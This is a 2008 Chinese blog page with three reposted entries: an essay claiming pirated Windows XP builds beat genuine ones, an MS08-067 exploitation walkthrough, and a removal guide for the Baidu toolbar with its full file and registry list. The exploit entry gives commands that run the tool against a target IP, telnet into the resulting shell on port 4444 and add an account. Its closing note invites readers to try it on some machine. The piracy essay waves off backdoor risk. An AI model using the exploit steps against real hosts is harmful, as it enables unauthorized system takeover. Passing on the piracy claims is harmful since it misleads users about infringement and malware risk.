又得换版本了,,

发布新日志

  • 中国的盗版xp质量优于正版(详细分析)[转]

    2008-11-07 18:38:47

    就xp,本人认为在中国境内(大陆范围),盗版的质量优于正版。

    大家也许很差异,什么东西不都是正版好吗?正品的质量肯定是最好的。其实不然,在软件行业里就更非如此了,尤其像操作系统这样通用,常用,不可或缺的软件。

    一 、盗版更优化,更适合中国人

    微软的正版是面向全球的,且为照顾到全球不同的国家,不同职业的人士而设计。因此它的组件是很多的。有些对于一般的中国用户基本上一辈子都用不到,比如日韩文输入法,大概有70M大小,这些对于中国的普通用户,除了占用硬盘空间之外毫无用武之地。再比如与打印机相关的程序,组件,试问有用吗?在中国的个人电脑上,有几个真正连接打印机了??还有就是主题的破解,爱好主题的都知道,只有破解了微软的相关文件才可以使用非官方的主题。这些都在盗版里得到了很好的解决。他们删掉了日韩文输入法,禁用掉打印机,破解了主题程序文件。这为我们大众算是做了一件大好事吧?该删掉的删掉,该禁用的禁用,该修改的修改。正版的xp有大约700M,而具有正版99.9%功能的盗版精简版xp可以做到200M!!!占用内存也大为下降,为配置低的用户带来福音。我们难道不应该举起双手鼓掌吗?你也许会说,这样可能会影响使用正版xp的相关程序,比如有人需要用到日韩文怎么办?告诉你,在中国还有一种盗版,叫做纯净版,与正版的差距只是——免费!!所有的功能和正版xp一模一样!!!它只是把输入序列号,正版验证之类的程序模块修改过而已,其他的和正版一模一样。系统是模块化设计的,一个模块的改变对其他部分无任何影响!!模块之间本来就是独立的!所以,盗版是优化的,优于正版。

    二 、盗版的质量问题

    对于非稳定性的xp,即修改版xp存在稳定性问题,用户担心其不如正版稳定。(纯净版不存在此问题)中国大型的xp系统论坛,例如深度,雨林木风等,在他们制作出系统之后,放出来供大家下载之前,会有一段测试。经过复杂的测试后,系统的稳定性就得到了一定的保证。当然,十几个盗版的牌子(深度,雨林木风,电脑公司,FANQIE,萝&卜&家&园,龙帝国,猪猪猫等),几百种xp版本的稳定性不可一概而论。但大型的,知名的论坛,一般就很有保证了,比如深度,电脑公司等等。诚然,盗版的质量千差万别,良莠不齐。可看网上的评论而定。软件和书不一样。书是以纸张和墨做载体的。其本身存在质量问题,所以盗版的质量永远和正版不可同日而语。软件则不同,它是不可见的,而且复制起来会丝毫不差。你把一个软件复制一百份会出现质量差异吗??因此只要经过严格的测试,盗版的质量是可以保证的,要知道中国有几亿人做这个测试啊。大家共同认可的系统自然就是优秀的,质量过硬的了。

    我想说的是,好的盗版质量和正版是一致的!

    三、 盗版安装快

    这个我不想多说了,盗版的,尤其是g host版,安装速度惊人,而且全无人值守。

    而正版,要很多的设置,要输入序列号,还要激活产品,即使正式的安装,其速度远不如g host版。

    四、 盗版的后门问题

    很多用户担心由于盗版的制作者本身是非法的,产品出问题,制作者不承担任何责任,即使人家给你安了后门。其实只要经过大众检验的,基本不可能有后门,还是那句,几亿人看着呢。经历过大众的眼睛的产品怎么会有后门?

    不怕一万,就怕万一。你可以用md5校验一下,看看你下的系统有没有被修改过。这几乎是唯一的办法了。再说普通用户,安全等级要那么高吗?有什么商业机密吗?既然怕后门,建议你用linux吧,linux 也有后门怎么办?干脆你用世界上极少人用的free BSD和solaris吧?这个基本不存在后门,也是免费的。

    五 、在盗版中,xp是最好的!

    为什么?因为时间最长!win2000后一年就出了xp,到2008,都多少年了。七年的千锤百炼,中国的xp盗版技术已经炉火纯青了!!!任何技术的培养都需要加以时日,不是吗?

    想想vista,连微软自己都整的头痛,bug,漏洞一大堆。连微软自己都承认了“vista只是半成品”。他们都在不断地修正,那中国的盗版呢?质量就可想而知了,但我相信再过两年,三年,vista的盗版就成熟了。

    xp就像是熟透了的苹果,而vista就算是再贵的水果,都是生的。。。

    所以xp,中国的盗版xp,是漫长的七年,在祖国大地,多少技术人员经过了几亿人的验证,而得到的金品(当然这里指好的盗版啦,垃圾的版本不算)!!!

    所以即使正版免费,我也不用!!!

    PS:大家还有一点误解。其实很多的技术并不是很难,大家高估了他们的实力,盗版的技术无非两点:破解和优化。其实技术重点是破解。破解,说白了就是变付费为免费。在破解中一般要,脱壳,反汇编,找跳转,softice。因此要有极强的汇编功底,当然c等高级语言也是不可或缺的。只要能猜出程序作者的用意,加上其他的工作,比如有时加密了,需要解密。总之,很多的cracker就是干这个的。破解软件是他们的终极爱好。还要说明一点,破解高手全在外国,中国的,囧。。。

    剩下的就是,优化,这个是很简单的,只要有人教,谁都会。据说中国境内的盗版都是用外国人的破解。不知道是不是。要是那样就。。。

    不是中国人盗版的技术好,而是外国人不干这事而已。人家只是破解了就完事,不会到处传播。就像是做完一道智力题。而中国人就是做优化,然后四处传播!
  • [转]Ms08-067 漏洞利用,详细测试流程

    2008-10-27 23:01:16

     

    为了测试这个,我装了三个虚拟机。。。一两个XP一个2003,终于弄明白都需要哪些必要条件了,写出来和大家分享,希望对离成功还差一步的同学们有所帮助,自由,共享。

    下载:ms-067.rar


    经过N+1次的测试之后发现,本机和目标机必须要开启以下服务,否则就算对方没有打补丁也会失败。
    Server、Computer Browser、Workstation。

    下面测试开始(和我局域网的同学们的电脑我都会第一时间叫他们打补丁。。。这次没法儿用他们的电脑测试了,我只好装虚拟机测试)

    在cmd下直接运行 MS08-067.exe 出现命令帮助

    MS08-067.exe

    很简单,只需要输入 MS08-067.exe IP 就可以了。


    目标机为虚拟机(IP 192.168.1.2),攻击者为本机(IP 192.168.1.188)

    虚拟机端口开放如下:

    输入命令:
    MS08-067.exe 192.168.1.2
    提示:
    SMB Connect OK!
    Send Payload Over!

    再次查看虚拟机的端口:

    我们看到当我们运行了 MS08-067.exe 192.168.1.2 之后,虚拟机的端口出现了个 4444 端口,状态为 LISTENING ,这时就说明已经溢出成功了,接下来我们在本机运行
    Telnet 192.168.1.2 4444
    就可以了Telnet登陆到目标机了。
    执行个命令加个帐户看看,成功了~

    测试到此结束,以下关于此次测试大家可能遇到的几个问题我在这里集中回答下。

    Q:我的 服务 里没有 Server 这个服务怎么办?
    A:在 本地连接-属性 里 点 安装-服务-添加-Microsoft 网络的文件和打印机共享 ,点确定,会提示是否重启,其实不用重启就可以,在服务里按F5刷新一下就有这个服务了。

    Q:提示
    SMB Connect OK!
    RpcExceptionCode() = 1722
    这样溢出成功了么?
    A:溢出失败,对方开启了防火墙。

    Q:提示
    Make SMB Connection error:1203
    是怎么回事?
    A:对方没有开机连网或者没有安装 Microsoft 网络的文件和打印机共享 协议 或没有启动Server服务。

    天涯风云附注:ms08-067漏洞可能是微软史上最方便可利用的的漏洞,经笔者测试,效果恐怖之极!建议看完本章的兄弟姐妹们,快快将共享关掉,或打上补丁KB958644(打上补丁后,返回错误代码为1722),另外,找台机子试下吧,,

  • 360被百度收买了吗?百度搜霸清理不了!!

    2008-10-22 08:48:25

     

               最近发现,360不再那么有效了。。百度搜霸被恶意安装后,用最新的360都无法搞定。最后只好在DOS下清除相关文件,再回到WINDOWS下清理注册表相关项。

               网上有相关文章如下:

    然后转到注册表里搜索“baidu”关键字进行手动删除,删除失败,发现删除之后会立即被恢复,而且C:\Program Files\Baidu下也发现同样情况,删除之后立即会被恢复。怀疑是有程序驻留内存导致。转入安全模式,居然情况依然未变。极端愤怒!求助Google,发现彻底清除狗太阳的3721病毒完全手册!一文,研究之后,发现是同一原理:两个同样无耻的公司将自己的无耻软件制作成驱动程序形式,在用户不知情的情况下安装到C:\WINDOWS\system32\drivers目录下,实时监控电脑,在用户删除相应注册表内容或硬盘程序后,立即恢复,导致用户永远无法正常删除相应的注册表键值或硬盘程序。进入安全模式之后,驱动程序依然被加载,无耻的软件依然被无耻的保护着。具体原理,可以看全面剖析3721及上网助手一文。
      
       开始彻底清除百度病毒。参照在您的计算机上安装Recovery Console(恢复控制台)一文,安装了Recovery Console。重新启动机器,进入Recovery Console,手动删除C:\WINDOWS\system32\drivers\Bdguard.sys和C:\WINDOWS\system32\Bdguard.dat。然后重启机器,回到Windows下,再次手动删除C:\Program Files\Baidu目录,删除成功!进入注册表,以“baidu”和“bdguard”为关键字搜索,手动删除相应键值,同样删除成功!

    附:百度搜霸相关文件及注册表项

    C:\PROGRA~1\baidu\bar\baidubar.dll
    C:\PROGRA~1\baidu\bar\baidubar.dll
    C:\Program Files\baidu\bar
    C:\PROGRA~1\baidu\bar\BaiDuBar.dll
    C:\Program Files\baidu\bar\img
    C:\PROGRA~1\baidu\bar\img\logo.bmp
    C:\PROGRA~1\baidu\bar\img\imglist.bmp
    C:\PROGRA~1\baidu\bar\baidubar.dat
    C:\PROGRA~1\baidu\bar\bdgdins.dll
    C:\PROGRA~1\baidu\bar\logex.dat
    C:\Program Files\baidu\bar\favicon
    C:\PROGRA~1\baidu\bar\LOADMO~1.SWF
    C:\Program Files\baidu\bar\icon
    C:\PROGRA~1\baidu\bar\icon\adicon0.ico
    C:\PROGRA~1\baidu\bar\bang.ini
    C:\PROGRA~1\baidu\bar\NAMEDS~1.DAT
    C:\Program Files\baidu\bar\BDBar_tmp
    C:\WINDOWS\system32\drivers\BDGuard.SYS
    C:\WINDOWS\system32\drivers\BDGuard.SYS
    C:\WINDOWS\system32\BDGuardS.DAT
    C:\WINDOWS\system32\BDGuard.DAT
    C:\WINDOWS\sosuo.col
    HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\{77FEF28E-EB96-44FF-B511-3185DEA48697}
    HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\{77FEF28E-EB96-44FF-B511-3185DEA48697} [id]: (bdbar)
    HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\{77FEF28E-EB96-44FF-B511-3185DEA48697} [NoExplorer]: (1)
    HKCR\BaiduBarEx.BandIE.1
    HKCR\BaiduBarEx.BandIE.1 [Default]: (BandIE Class)
    HKCR\BaiduBarEx.BandIE.1\CLSID
    HKCR\BaiduBarEx.BandIE.1\CLSID [Default]: ({77FEF28E-EB96-44FF-B511-3185DEA48697})
    HKCR\BaiduBarEx.BandIE
    HKCR\BaiduBarEx.BandIE [Default]: (BandIE Class)
    HKCR\BaiduBarEx.BandIE\CLSID
    HKCR\BaiduBarEx.BandIE\CLSID [Default]: ({77FEF28E-EB96-44FF-B511-3185DEA48697})
    HKCR\BaiduBarEx.BandIE\CurVer
    HKCR\BaiduBarEx.BandIE\CurVer [Default]: (BaiduBarEx.BandIE.1)
    HKCR\TypeLib\{6AFC2761-1253-427C-9A56-385B4609BE1D}
    HKCR\TypeLib\{6AFC2761-1253-427C-9A56-385B4609BE1D}\1.0
    HKCR\TypeLib\{6AFC2761-1253-427C-9A56-385B4609BE1D}\1.0 [Default]: (BaiduBarEx 1.0 Type Library)
    HKCR\TypeLib\{6AFC2761-1253-427C-9A56-385B4609BE1D}\1.0\0
    HKCR\TypeLib\{6AFC2761-1253-427C-9A56-385B4609BE1D}\1.0\0\win32
    HKCR\TypeLib\{6AFC2761-1253-427C-9A56-385B4609BE1D}\1.0\0\win32 [Default]: (C:\PROGRA~1\baidu\bar\baidubar.dll)
    HKCR\TypeLib\{6AFC2761-1253-427C-9A56-385B4609BE1D}\1.0\FLAGS
    HKCR\TypeLib\{6AFC2761-1253-427C-9A56-385B4609BE1D}\1.0\FLAGS [Default]: (0)
    HKCR\TypeLib\{6AFC2761-1253-427C-9A56-385B4609BE1D}\1.0\HELPDIR
    HKCR\TypeLib\{6AFC2761-1253-427C-9A56-385B4609BE1D}\1.0\HELPDIR [Default]: (C:\PROGRA~1\baidu\bar\)
    HKCR\CLSID\{77FEF28E-EB96-44FF-B511-3185DEA48697}
    HKCR\CLSID\{77FEF28E-EB96-44FF-B511-3185DEA48697} [Default]: (BandIE Class)
    HKCR\CLSID\{77FEF28E-EB96-44FF-B511-3185DEA48697}\InprocServer32
    HKCR\CLSID\{77FEF28E-EB96-44FF-B511-3185DEA48697}\InprocServer32 [Default]: (C:\PROGRA~1\baidu\bar\baidubar.dll)
    HKCR\CLSID\{77FEF28E-EB96-44FF-B511-3185DEA48697}\InprocServer32 [ThreadingModel]: (Apartment)
    HKCR\CLSID\{77FEF28E-EB96-44FF-B511-3185DEA48697}\ProgID
    HKCR\CLSID\{77FEF28E-EB96-44FF-B511-3185DEA48697}\ProgID [Default]: (BaiduBarEx.BandIE.1)
    HKCR\CLSID\{77FEF28E-EB96-44FF-B511-3185DEA48697}\Programmable
    HKCR\CLSID\{77FEF28E-EB96-44FF-B511-3185DEA48697}\TypeLib
    HKCR\CLSID\{77FEF28E-EB96-44FF-B511-3185DEA48697}\TypeLib [Default]: ({6AFC2761-1253-427C-9A56-385B4609BE1D})
    HKCR\CLSID\{77FEF28E-EB96-44FF-B511-3185DEA48697}\VersionIndependentProgID
    HKCR\CLSID\{77FEF28E-EB96-44FF-B511-3185DEA48697}\VersionIndependentProgID [Default]: (BaiduBarEx.BandIE)
    HKLM\SOFTWARE\Microsoft\Internet Explorer\Toolbar [{B580CF65-E151-49C3-B73F-70B13FCA8E86}]: ()
    HKCR\BaiduBar.Baidu.1
    HKCR\BaiduBar.Baidu.1 [Default]: (BaiduBar)
    HKCR\BaiduBar.Baidu.1\CLSID
    HKCR\BaiduBar.Baidu.1\CLSID [Default]: ({B580CF65-E151-49C3-B73F-70B13FCA8E86})
    HKCR\BaiduBar.Baidu
    HKCR\BaiduBar.Baidu [Default]: (BaiduBar)
    HKCR\BaiduBar.Baidu\CLSID
    HKCR\BaiduBar.Baidu\CLSID [Default]: ({B580CF65-E151-49C3-B73F-70B13FCA8E86})
    HKCR\BaiduBar.Baidu\CurVer
    HKCR\BaiduBar.Baidu\CurVer [Default]: (BaiduBar.Baidu.1)
    HKCR\TypeLib\{6AFC2761-1253-427C-9A56-385B4609BE1D}
    HKCR\TypeLib\{6AFC2761-1253-427C-9A56-385B4609BE1D}\1.0
    HKCR\TypeLib\{6AFC2761-1253-427C-9A56-385B4609BE1D}\1.0 [Default]: (BaiduBarEx 1.0 Type Library)
    HKCR\TypeLib\{6AFC2761-1253-427C-9A56-385B4609BE1D}\1.0\0
    HKCR\TypeLib\{6AFC2761-1253-427C-9A56-385B4609BE1D}\1.0\0\win32
    HKCR\TypeLib\{6AFC2761-1253-427C-9A56-385B4609BE1D}\1.0\0\win32 [Default]: (C:\PROGRA~1\baidu\bar\baidubar.dll)
    HKCR\TypeLib\{6AFC2761-1253-427C-9A56-385B4609BE1D}\1.0\FLAGS
    HKCR\TypeLib\{6AFC2761-1253-427C-9A56-385B4609BE1D}\1.0\FLAGS [Default]: (0)
    HKCR\TypeLib\{6AFC2761-1253-427C-9A56-385B4609BE1D}\1.0\HELPDIR
    HKCR\TypeLib\{6AFC2761-1253-427C-9A56-385B4609BE1D}\1.0\HELPDIR [Default]: (C:\PROGRA~1\baidu\bar\)
    HKCR\CLSID\{B580CF65-E151-49C3-B73F-70B13FCA8E86}
    HKCR\CLSID\{B580CF65-E151-49C3-B73F-70B13FCA8E86} [Default]: (百度工具栏)
    HKCR\CLSID\{B580CF65-E151-49C3-B73F-70B13FCA8E86}\InprocServer32
    HKCR\CLSID\{B580CF65-E151-49C3-B73F-70B13FCA8E86}\InprocServer32 [Default]: (C:\PROGRA~1\baidu\bar\baidubar.dll)
    HKCR\CLSID\{B580CF65-E151-49C3-B73F-70B13FCA8E86}\InprocServer32 [ThreadingModel]: (Apartment)
    HKCR\CLSID\{B580CF65-E151-49C3-B73F-70B13FCA8E86}\ProgID
    HKCR\CLSID\{B580CF65-E151-49C3-B73F-70B13FCA8E86}\ProgID [Default]: (BaiduBar.Baidu.1)
    HKCR\CLSID\{B580CF65-E151-49C3-B73F-70B13FCA8E86}\Programmable
    HKCR\CLSID\{B580CF65-E151-49C3-B73F-70B13FCA8E86}\TypeLib
    HKCR\CLSID\{B580CF65-E151-49C3-B73F-70B13FCA8E86}\TypeLib [Default]: ({6AFC2761-1253-427C-9A56-385B4609BE1D})
    HKCR\CLSID\{B580CF65-E151-49C3-B73F-70B13FCA8E86}\VersionIndependentProgID
    HKCR\CLSID\{B580CF65-E151-49C3-B73F-70B13FCA8E86}\VersionIndependentProgID [Default]: (BaiduBar.Baidu)
    HKLM\SYSTEM\CurrentControlSet\Services\BdGuard
    HKLM\SYSTEM\CurrentControlSet\Services\BdGuard [BDGuardSignDRV]: (16777228)
    HKLM\SYSTEM\CurrentControlSet\Services\BdGuard [BDGuardSignDAT]: (16777223)
    HKLM\SYSTEM\CurrentControlSet\Services\BdGuard [BDGuardSignSBD]: (16777217)
    HKLM\SYSTEM\CurrentControlSet\Services\BdGuard [Version]: (1.1.8.0)
    HKLM\SYSTEM\CurrentControlSet\Services\BdGuard [Type]: (2)
    HKLM\SYSTEM\CurrentControlSet\Services\BdGuard [Start]: (0)
    HKLM\SYSTEM\CurrentControlSet\Services\BdGuard [ErrorControl]: (0)
    HKLM\SYSTEM\CurrentControlSet\Services\BdGuard [Tag]: (4)
    HKLM\SYSTEM\CurrentControlSet\Services\BdGuard [ImagePath]: (system32\drivers\BDGuard.SYS)
    HKLM\SYSTEM\CurrentControlSet\Services\BdGuard [DisplayName]: (BdGuard)
    HKLM\SYSTEM\CurrentControlSet\Services\BdGuard [Group]: (FSFilter Activity Monitor)
    HKLM\SYSTEM\CurrentControlSet\Services\BdGuard\modules
    HKLM\SYSTEM\CurrentControlSet\Services\BdGuard\modules [BDGuardS.DAT]: (1)
    HKLM\SYSTEM\CurrentControlSet\Services\BdGuard\Security
    HKLM\SYSTEM\CurrentControlSet\Services\BdGuard\Enum
    HKLM\SYSTEM\CurrentControlSet\Services\BdGuard\Enum [0]: (Root\LEGACY_BDGUARD\0000)
    HKLM\SYSTEM\CurrentControlSet\Services\BdGuard\Enum [Count]: (1)
    HKLM\SYSTEM\CurrentControlSet\Services\BdGuard\Enum [NextInstance]: (1)
    HKLM\Software\Baidu\BaiduBar
    HKLM\Software\Baidu\BaiduBar [ID]: (laserfoxcb)
    HKLM\Software\Baidu\BaiduBar [ClientTimeID]: (BDBAREX_D_3D89532FDE45E736-62C522934AECF1A8)
    HKLM\Software\Baidu\BaiduBar [NoticeFlag]: (1)
    HKLM\Software\Baidu\BaiduBar [LastUpdateTime]: (1224721801)
    HKCU\Software\Baidu\BaiduBar
    HKCU\Software\Baidu\BaiduBar [version]: (0)
    HKCU\Software\Baidu\BaiduBar [SearchBoxMode]: (1)
    HKCU\Software\Baidu\BaiduBar [RunState]: (1)
    HKCU\Software\Baidu\BaiduBar [ShowState]: (1)
    HKCU\Software\Baidu\BaiduBar [DisplayMode]: (1)
    HKCU\Software\Baidu\BaiduBar [DisplayLineMode]: (1)
    HKCU\Software\Baidu\BaiduBar [SendInfoTime]: (1800)
    HKCU\Software\Baidu\BaiduBar [SendInfoEnable]: (1)
    HKCU\Software\Baidu\BaiduBar [SendServerIP]: (60.28.22.73:220.181.4.44)
    HKCU\Software\Baidu\BaiduBar [InstallPrompt]: (0)
    HKCU\Software\Baidu\BaiduBar [SaveLastSearch]: (0)
    HKCU\Software\Baidu\BaiduBar [LastWatchTime]: (1224589489)
    HKCU\Software\Baidu\BaiduBar [IE7DefaultSearch]: (1)
    HKCU\Software\Baidu\BaiduBar [homePage_LogCompressTime]: (1224635400)
    HKCU\Software\Baidu\BaiduBar [BaiduId]: (B1F662EECA7810C359A73924D7396839)
    HKCU\Software\Baidu\BaiduBar [bar_width]: (1018)
    HKCU\Software\Baidu\BaiduBar [bar_left]: (2)
    HKCU\Software\Baidu\BaiduBar [bar_btn_width]: (806)
    HKCU\Software\Baidu\BaiduBar [notify_time]: (1224635401)
    HKCU\Software\Baidu\BaiduBar [report_time]: (1224635401)
    HKCU\Software\Baidu\BaiduBar [SendEncryptEnable]: (1)
    HKCU\Software\Baidu\BaiduBar [SendEncryptServerIP]: (60.28.22.73:220.181.4.44)
    HKCU\Software\Baidu\BaiduBar [Translation]: (1)
    HKCU\Software\Baidu\BaiduBar [FengYunBangTime]: (1224635401)
    HKCU\Software\Baidu\BaiduBar [FengYunBangResult]: (1)
    HKCU\Software\Baidu\BaiduBar [OSearchPrompt]: (0,1)
    HKCU\Software\Baidu\BaiduBar [BDSearchPrompt]: (0,1)
    HKCU\Software\Baidu\BaiduBar [FavSrvEnable]: (1)
    HKCU\Software\Baidu\BaiduBar [PassPortEnable]: (1)
    HKCU\Software\Baidu\BaiduBar [MediaTypeList]: (&flv&mp3&rm&mp4&wma&avi&wmv&mpeg&mpg&asf&rmvb&mov&3gp&)
    HKCU\Software\Baidu\BaiduBar [MediaLogSize]: (20480)
    HKCU\Software\Baidu\BaiduBar [MediaLogEnabled]: (1)
    HKCU\Software\Baidu\BaiduBar [ShowHPNote]: (0)
    HKCU\Software\Baidu\BaiduBar [NamedSitesFileVersion]: (20080825)
    HKCU\Software\Baidu\BaiduBar [MediaSaveTimes]: (0)
    HKCU\Software\Baidu\BaiduBar [NamedSitesTime]: (0)
    HKCU\Software\Baidu\BaiduBar [NotifyEnable]: (1)
    HKCU\Software\Baidu\BaiduBar\crashtabs
    HKCU\Software\Baidu\BaiduBar\crashtabs [3119203]: (http://www.icafe8.com/)
    HKCU\Software\Baidu\BaiduBar\crashtabs [3139234]: (http://bbs.icafe8.com/read.php?tid=30120)
    HKCU\Software\Baidu\BaiduBar\crashtabs [3428218]: (http://www.icafe8.com/icafe/help/Sv_sc_khjkjyx.html)
    HKCU\Software\Baidu\BaiduBar\History
    HKCU\Software\Baidu\BaiduBar\navhistory
    HKCU\Software\Baidu\BaiduBar\navhistory [1]: (http://www.icafe8.com/skin/front/vote.do;jsessionid=7165204209695B3A1D8FA082A8C3FD58?method=doArtInfo&artId=46)
    HKCU\Software\Baidu\BaiduBar\navhistory [1t]: (我的网维大师------界面设计大赛 | web1)
    HKCU\Software\Baidu\BaiduBar\navhistory [header]: (4)
    HKCU\Software\Baidu\BaiduBar\navhistory [2]: (http://www.icafe8.com/skin/images/upimg/2008-10-17-5311_blue.JPG)
    HKCU\Software\Baidu\BaiduBar\navhistory [2t]: (http://www.icafe8.com/skin/images/upimg/2008-10-17-5311_blue.JPG)
    HKCU\Software\Baidu\BaiduBar\navhistory [3]: (http://www.icafe8.com/skin/front/vote.do?method=doArtInfo&artId=32)
    HKCU\Software\Baidu\BaiduBar\navhistory [3t]: (我的网维大师------界面设计大赛 | web1)
    HKCU\Software\Baidu\BaiduBar\navhistory [4]: (http://www.icafe8.com/skin/front/winning.jsp)
    HKCU\Software\Baidu\BaiduBar\navhistory [4t]: (我的网维大师------界面设计大赛 | web1)
    HKCU\Software\Baidu\BaiduBar\NoAD
    HKCU\Software\Baidu\BaiduBar\NoAD [AllVoice_State]: (0)
    HKCU\Software\Baidu\BaiduBar\NoAD [AllFlash_State]: (0)
    HKCU\Software\Baidu\BaiduBar\NoAD [AllPic_State]: (0)
    HKCU\Software\Baidu\BaiduBar\NoAD [FlashFilter]: (C:\PROGRA~1\baidu\bar\loadmovie.swf)
    HKCU\Software\Baidu\BaiduBar\NoAD [FloatAD_Count]: (15)
    HKCU\Software\Baidu\BaiduBar\NoAD\Page_Allow
    HKCU\Software\Baidu\BaiduBar\NoAD\Page_Allow [30]: (*.hao123.com*)
    HKCU\Software\Baidu\BaiduBar\NoAD\Page_Allow [31]: (*.baidu.com*)
    HKCU\Software\Baidu\BaiduBar\NoAD\Page_Block
    HKCU\Software\Baidu\BaiduBar\NoAD\Page_Block [0]: (*/ad.*)
    HKCU\Software\Baidu\BaiduBar\NoAD\Page_Block [1]: (*/imgad/*)
    HKCU\Software\Baidu\BaiduBar\NoAD\Page_Block [2]: (http://ad[0-9].*)
    HKCU\Software\Baidu\BaiduBar\NoAD\Page_Block [3]: (http://ads.)
    HKCU\Software\Baidu\BaiduBar\NoAD\Page_Block [4]: (*banner.*)
    HKCU\Software\Baidu\BaiduBar\NoAD\Page_Block [5]: (*/advpic*)
    HKCU\Software\Baidu\BaiduBar\NoAD\Page_Block [6]: (*doubleclick.*)
    HKCU\Software\Baidu\BaiduBar\NoAD\Page_Block [7]: (*/ad/*)
    HKCU\Software\Baidu\BaiduBar\NoAD\Page_Block [8]: (*/banner_img/*)
    HKCU\Software\Baidu\BaiduBar\NoAD\Page_Block [9]: (*/adbanners*)
    HKCU\Software\Baidu\BaiduBar\NoAD\Page_Block [10]: (*cnsmin.3721.com/*)
    HKCU\Software\Baidu\BaiduBar\NoAD\Page_Block [11]: (*/adv/*)
    HKCU\Software\Baidu\BaiduBar\NoAD\Page_Block [12]: (*/images_ad/*)
    HKCU\Software\Baidu\BaiduBar\NoAD\Page_Block [13]: (*/ads/*)
    HKCU\Software\Baidu\BaiduBar\NoAD\Page_Block [14]: (*/advlink/*)
    HKCU\Software\Baidu\BaiduBar\NoAD\Page_Block [15]: (*/banner*)
    HKCU\Software\Baidu\BaiduBar\NoAD\Page_Block [16]: (http://ad.*)
    HKCU\Software\Baidu\BaiduBar\NoAD\Page_Block [17]: (*banners/*)
    HKCU\Software\Baidu\BaiduBar\NoAD\Page_Block [18]: (*/adImages/*)
    HKCU\Software\Baidu\BaiduBar\NoAD\Page_Block [19]: (*.swf[a-z]*)
    HKCU\Software\Baidu\BaiduBar\NoAD\Page_Block [20]: (*images.sohu.com/cs/button/*)
    HKCU\Software\Baidu\BaiduBar\options
    HKCU\Software\Baidu\BaiduBar\options [adbtn-enable]: (1)
    HKCU\Software\Baidu\BaiduBar\options [adbtn-id]: (104)
    HKCU\Software\Baidu\BaiduBar\options [adbtn-link]: (http://utility.baidu.com/traf/click.php?id=1381&url=http%3A%2F%2Fim.baidu.com%2F)
    HKCU\Software\Baidu\BaiduBar\options [adbtn-hint]: (百度Hi—最新时尚聊天工具)
    HKCU\Software\Baidu\BaiduBar\options [adbtn-label]: ()
    HKCU\Software\Baidu\BaiduBar\options [adbtn-imgcount]: (1)
    HKCU\Software\Baidu\BaiduBar\options [adbtn-time]: (1225240201)
    HKCU\Software\Baidu\BaiduBar\searchinfo
    HKCU\Software\Baidu\BaiduBar\searchinfo\disk
    HKCU\Software\Baidu\BaiduBar\searchinfo\mp3
    HKCU\Software\Baidu\BaiduBar\searchinfo\博客
    HKCU\Software\Baidu\BaiduBar\searchinfo\图片
    HKCU\Software\Baidu\BaiduBar\searchinfo\地图
    HKCU\Software\Baidu\BaiduBar\searchinfo\新闻
    HKCU\Software\Baidu\BaiduBar\searchinfo\歌词
    HKCU\Software\Baidu\BaiduBar\searchinfo\知道
    HKCU\Software\Baidu\BaiduBar\searchinfo\站内
    HKCU\Software\Baidu\BaiduBar\searchinfo\网页
    HKCU\Software\Baidu\BaiduBar\searchinfo\视频
    HKCU\Software\Baidu\BaiduBar\searchinfo\词典
    HKCU\Software\Baidu\BaiduBar\searchinfo\贴吧
    HKCU\Software\Baidu\BaiduBar\WhiteList
    HKCU\Software\Baidu\BaiduBar\WhiteList [baidu.com]: (1)
    HKCU\Software\Baidu\BaiduBar\WhiteList [*.hao123.com*]: (1)
    HKCU\Software\Baidu\BaiduBar\WhiteList [*.baidu.com*]: (1)
    HKCR\BaiduBar.Tool
    HKCR\BaiduBar.Tool [Default]: (Tool Class)
    HKCR\BaiduBar.Tool\CLSID
    HKCR\BaiduBar.Tool\CLSID [Default]: ({A7F05EE4-0426-454F-8013-C41E3596E9E9})
    HKCR\BaiduBar.Tool\CurVer
    HKCR\BaiduBar.Tool\CurVer [Default]: (BaiduBar.Tool.1)
    HKCR\BaiduBar.Tool.1
    HKCR\BaiduBar.Tool.1 [Default]: (Tool Class)
    HKCR\BaiduBar.Tool.1\CLSID
    HKCR\BaiduBar.Tool.1\CLSID [Default]: ({A7F05EE4-0426-454F-8013-C41E3596E9E9})
    HKCR\BaiduBarEx.DropTarget.1
    HKCR\BaiduBarEx.DropTarget.1 [Default]: (DropTarget Class)
    HKCR\BaiduBarEx.DropTarget.1\CLSID
    HKCR\BaiduBarEx.DropTarget.1\CLSID [Default]: ({7C76C055-ED6E-4535-A70F-CD476E727F67})
    HKCR\BaiduBarEx.DropTarget
    HKCR\BaiduBarEx.DropTarget [Default]: (DropTarget Class)
    HKCR\BaiduBarEx.DropTarget\CLSID
    HKCR\BaiduBarEx.DropTarget\CLSID [Default]: ({7C76C055-ED6E-4535-A70F-CD476E727F67})
    HKCR\BaiduBarEx.DropTarget\CurVer
    HKCR\BaiduBarEx.DropTarget\CurVer [Default]: (BaiduBarEx.DropTarget.1)
    HKCR\CLSID\{A7F05EE4-0426-454F-8013-C41E3596E9E9}
    HKCR\CLSID\{A7F05EE4-0426-454F-8013-C41E3596E9E9} [Default]: (Tool Class)
    HKCR\CLSID\{A7F05EE4-0426-454F-8013-C41E3596E9E9}\InprocServer32
    HKCR\CLSID\{A7F05EE4-0426-454F-8013-C41E3596E9E9}\InprocServer32 [Default]: (C:\PROGRA~1\baidu\bar\baidubar.dll)
    HKCR\CLSID\{A7F05EE4-0426-454F-8013-C41E3596E9E9}\InprocServer32 [ThreadingModel]: (Apartment)
    HKCR\CLSID\{A7F05EE4-0426-454F-8013-C41E3596E9E9}\ProgID
    HKCR\CLSID\{A7F05EE4-0426-454F-8013-C41E3596E9E9}\ProgID [Default]: (BaiduBar.Tool.1)
    HKCR\CLSID\{A7F05EE4-0426-454F-8013-C41E3596E9E9}\Programmable
    HKCR\CLSID\{A7F05EE4-0426-454F-8013-C41E3596E9E9}\TypeLib
    HKCR\CLSID\{A7F05EE4-0426-454F-8013-C41E3596E9E9}\TypeLib [Default]: ({6AFC2761-1253-427C-9A56-385B4609BE1D})
    HKCR\CLSID\{A7F05EE4-0426-454F-8013-C41E3596E9E9}\VersionIndependentProgID
    HKCR\CLSID\{A7F05EE4-0426-454F-8013-C41E3596E9E9}\VersionIndependentProgID [Default]: (BaiduBar.Tool)
    HKCR\CLSID\{FE14F22E-BE14-4F08-A80F-F27BC3A67B2D}
